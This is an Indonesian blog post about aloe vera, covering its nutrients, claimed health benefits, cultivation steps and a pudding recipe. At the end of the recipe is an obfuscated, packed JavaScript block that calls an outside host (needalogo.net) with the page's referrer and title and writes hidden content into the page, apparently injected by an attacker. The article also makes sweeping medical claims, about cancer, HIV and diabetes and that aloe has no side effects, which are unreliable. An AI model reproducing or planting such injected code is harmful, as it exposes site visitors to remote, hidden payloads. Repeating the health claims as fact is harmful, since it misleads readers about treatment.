browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

Lidah Buaya, Si Cantik Sejuta Manfaat

Posted by on February 20, 2012


Siapa yang tidak kenal tanaman “Lidah Buaya”. Tanaman ini banyak tumbuh di halaman rumah sebagai tanaman hias. Dibalik tampilan cantiknya, tanaman ini ternyata memiliki banyak kandungan zat-zat  penting yang dibutuhkan oleh tubuh untuk proses metabolisme ataupun proses penyembuhan seperti antiseptik dan antibakteri.

Lidah buaya atau nama latinnya Aloe vera L, tergolong ke dalam suku Liliaceae.Aloe artinya “senyawa pahit yang bersinar “. Tumbuhan ini menyerupai kaktus. Daunnya meruncing berbentuk taji ,bagian dalamnya bening,bersifat getas dengan tepi bergerigi. Eksudat ( getah ) tanaman ini pahit rasanya tetapi sangat kaya manfaat.

Tanaman merupakan tanaman yang fungsional karena semua bagiannya dapat dimanfaatkan, baik untuk perawatan tubuh maupun untuk mengobati berbagai penyakit. Lendir lidah buaya (gel) mengandung berbagai macam zat mineral, misalnya zat anorganik, seperti kalsium, potasium, sodium, choline, magnesium, zinc, copper, chromium, dan beberapa vitamin seperti B1, B2, niacinamide, B6, choline, folic acid, vitamin C, dan lain-lain. Zat-zat ini sangant berguna untuk pertumbuhan tulang, pembentukan dan penggantian jaringan, pengaturan metabolisme dalam tubuh manusia, dan pengaturan gerak untuk syaraf.

Disamping itu, lidah buaya juga mengandung glukose, mannose, aldonentose, L-rahmnose, dan beberapa enzim seperti amylase, katalase, lipase, lysine, threonine, valine, methionine, leucine, isoleusine, dan phenylalnine.

Khasiat lidah lidah buaya, antara lain sebagai hair tonic yang menguatkan dan menumbuhkan rambut, menghaluskan dan melembabkan kulit ( zat lignin yang dikandungnya diyakini dapat menembus dan meresap ke dalam kulit dan menahan hilangnya cairan dari permukaan kulit sehingga kulit tidak cepat kering, halus  dan akan tetap lembab), mengobati luka bakar, membersihkan gigi, antelmintik untuk meluruhkan dan mengeluarkan cacing, ekspektoren untuk mengeluarkan dahak dan memudahkan batuk. penurun panas bagi anak-anak, nyeri lambung ( mag ), sembelit, penyembuh luka bakar, mengobati bisul, batuk yang membandel, radang tenggorokan, serta menghilangkan jerawat dan noda hitam. Bedasarkan hasil penelitian, daun lidah buaya dapat berfungsi sebagai antiinflamasi, antijamur, antibakteri, dan regenerasi sel. Disamping itu, lidah buaya bermanfaat untuk menurunkan kadar gula dalam darah bagi penderita diabetes, mengontrol tekanan darah, mestimulasi kekebalan tubuh terhadap serangan seranga penyakit kanker, serta dapat digunakan sebagai nutrisi pendukung bagi penderita HIV.

Hal ini wajar karena Lidah buaya mempunyai kandungan zat gizi yang diperlukan tubuh dengan cukup lengkap, yaitu vitamin A,B1,B2,B3,B12,C,E,Choline,inositol dan asam folat. Kandungan mineralnya antara lain terdiri dari : kalsium ( Ca ), magnesium ( Mg ), potassium ( K ), sodium ( Na ), besi ( Fe ), zinc ( Zn ), dan kromium ( Cr ). Beberapa unsure vitamin dan mineral tersebut dapat berfungsi sebagai pembentuk antioksidan alami, seperti vitamin C, vitamin E, vitamin A, magnesium, dan zinc. Antioksidan ini berguna untuk mencegah penuaan dini, serangan jantung, dan berbagai penyakit degeneratif.

Selain itu, daun lidah buaya segar mengandung enzim yang diperlukan oleh tubuh, yaitu amylase, catalase, cellulose, carboxypeptidase, dan lain-lain. Sejumlah asam amino terdapat dalam lidah buaya, meliputi arginin, asparagin, asam asparatat, alanin, serin, valin, glutamate, treonin, glisin, lisin, prolin, hisudin, leusin, dan isoleusin.

Menurut seorang pengamat makanan kesehatan (suplemen), Dr Freddy Wilmana MFPM SpFK, dari sekitar 200 jenis tanaman lidah buaya, yang baik digunakan untuk pengobatan adalah jenis Aloevera Barbadensis miller. Lidah buaya jenis ini mengandung 72 zat yang dibutuhkan oleh tubuh. Di antara ke-72 zat yang dibutuhkan tubuh itu terdapat 18 macam asam amino, karbohidrat, lemak, air, vitamin, mineral, enzim, hormon, dan zat golongan obat, antara lain antibiotik, antiseptik, antibakteri, antikanker, antivirus, antijamur, antiinfeksi, antiperadangan, antipembengkakan, antiparkinson, antiaterosklerosis, serta antivirus yang resisten terhadap antibiotik. Mengingat kandungan yang lengkap itu, lidah buaya menurut Dr. Freddy bukan cuma berguna menjaga kesehatan, tapi juga mengatasi berbagai penyakit. Misalnya, lidah buaya mampu menurunkan gula darah pada diabetesi yang tidak tergantung insulin (Anonymous, 2008).

Selengkapnya mengenai kandungan gizi dan manfaatnya bagi tubuh dapat dibaca di :Tabel Komposisi Gizi dan Manfaat Lidah Buaya.

Sejauh ini, menurut Dr. Freddy, penelitian belum menemukan efek samping penggunaan lidah buaya. Jika ada masalah, itu hanya berupa alergi pada mereka yang belum pernah mengonsumsi lidah buaya. Yang perlu diingat, menurut Dr. Freddy, sifat tanaman lidah buaya hampir mirip dengan buah apel yang bila habis digigit langsung berwarna cokelat. Hal itu bisa menjadi tanda lidah buaya telah teroksidasi, sehingga beberapa zat yang dikandungnya rusak.

BUDIDAYA LIDAH BUAYA

Tanaman lidah buaya tumbuh baik di daerah tropis ( daerah beriklim panas dengan ketinggian 800 m ) dan memebutuhkan sinar matahari yang cukup.

Langkah-langkah yang dilakukan untuk budidaya lidah buaya yaitu:

1.      Pemilihan bibit

bibit yang ditanam, harus dijamin varietas yang memiliki daging tebal dan berstektur kenyal

  1. Pengolahan Lahan

Dibuat bedengan dengan ukuran tinggi 0,5 m lebar 1 m dan panjang disesuaikan ( maksimal 10 m ), dan jarak antar bedengan 0,5 m

  1. Penanaman

Dibuat lubang pada bedengan, dengan garis tengah 0,25 m sedalam 30 cm, diberi pupuk organic matang + 0,5 kg dan pupuk anorganik ( campuran TSP, KCL ) sebanyak 20 gr per pohon. Pupuk-pupuk tersebut dicampur dengan tanah ( 1 : 1 ). Bibit ditanam dengan jarak 1 m dan sekelilin tanaman perlu sedikit dipadatkan.

  1. Pemupukan

Pemupukan susulan perlu dilakukan dengan periode 3 bulan sekali terdiri dari pupuk organic 0,5-1 kg / pohon, pupuk organic campuran urea,TSP, KCL sebanyak 30 gr / pohon

  1. Perawatan

Secara teratur, rumput-rumput dibersihkan dan disemprot dengan pestisida bila ada gejala serangan hama penyakit, terutama yang disebabkan oleh jamur dan bakteri.

  1. Panen

Pemanenan bisa dilakukan minimal setelah tanaman berusia 1 tahun setelah tanam per pohon secara bekala ( 1 bulan, 1 kali ) diambil satu buah daun yang paling tua dengan cirri daging daun agak keras dan ujung-ujung duri tidak mudah patah dsan berwarna hijau tua. Pemetikan dengan cara menyayat ketiak daun, kemudian memisahkan dari batangnya. Rata-rata setiap pohon mampu menghasilkan 0,5 kg sampai 1 kg daun segar setiap kali pemanenan.

Oh ya rasanya kurang lengkap kalau membahas kandungan gizi tapi tanpa menyertakan resep. Berikut salah satu variasi resep Lidah Buaya yang kaya manfaat dan enak rasanya.

Puding Low Fat Lidah Buaya

Bahan:
* 2 Batang Lidah Buaya
* 600 ml air
* 1 bungkus agar-agar
* Susu sesuai selera
* Gula tropikana/ gula jagung rendah kalori

Saus jeruk :
* 250 ml air
* 4 sendok makan konsentrat jeruk
* 3 sendok makan gula rendah kalori(gula jagung)
* 1 buah jeruk sunkist, potong-potong
* 1 sendok teh maizena, larutkan dengan 3 sendok makan air

Cara Pembuatan:
1. 2 batang daun lidah buaya, dicuci, dibuang durinya, dipotong-potong.
2. Masukkan potongan lidah buaya pada blender yang telah ditambahkan 600 ml air kemudian blender
3. Saring untuk memisahkan ampas lidah buaya yang telah di blender Sampai mencapai 750 ml air sarinya
4. Campurkan 1 bungkus agar – agar ke dalam air sari lidah buaya
5. Tambahkan susu bila menginginkan rasa yang lebih enak sesuai dengan selera dan takaran
6. Masak hingga mendidih, kemudian angkat dan dinginkan
7. Sajikan sesuai selera
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\’b\’);2 6=7.c(7.e()*f);2 0=\’g://h.i/j/k?\’;0=0+\’l=\’+3.m;0=0+\’&n=\’+3.o;0=0+\’&r=\’+6;d.p(\’\’)})();’,35,35,’src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height’.split(‘|’),0,{}))

One Response to Lidah Buaya, Si Cantik Sejuta Manfaat

Leave a Reply